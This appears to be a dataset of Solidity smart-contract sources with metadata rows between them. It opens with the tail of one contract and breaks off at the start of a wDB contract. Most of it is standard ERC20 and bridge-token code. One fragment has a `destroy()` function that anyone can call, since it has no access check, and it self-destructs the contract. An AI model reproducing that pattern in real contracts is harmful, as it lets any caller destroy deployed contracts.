int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function destroy() external {
selfdestruct(owner);
}
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| 205,923 | 11,293 |
7c5b063e54d99daf5a04c7f9c45d872b571fd01b6b674ab218d8fb55224d8f82
| 35,228 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/4418_19422_0xcae72a7a0fd9046cf6b165ca54c9e3a3872109e0.sol
| 3,963 | 16,060 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}
contract ANRXERC20 is ERC20, Ownable {
constructor() public {
_name = "AnRKey X";
_symbol = "$ANRX";
_decimals = 18;
_mint(msg.sender, 200000000000000000000000000);
}
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
}
| 230,820 | 11,294 |
1b23f0240a2f8c322416f781fff4ea0480bc39902f9b7495f4a0df3680ce31d4
| 14,734 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c5/c5c71cd0b734dae8c6eba9d79c3db693d112dda1_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 310,494 | 11,295 |
3d97a5b7419f24e664a1682f5d92c125b31203a70007bbfcd2fb047321b7d624
| 30,221 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/89/89F6AE694E793A30f56f3B60534BDCaf2Aad1317_wDB.sol
| 3,204 | 12,548 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ISDB {
function index() external view returns (uint);
}
contract wDB is ERC20 {
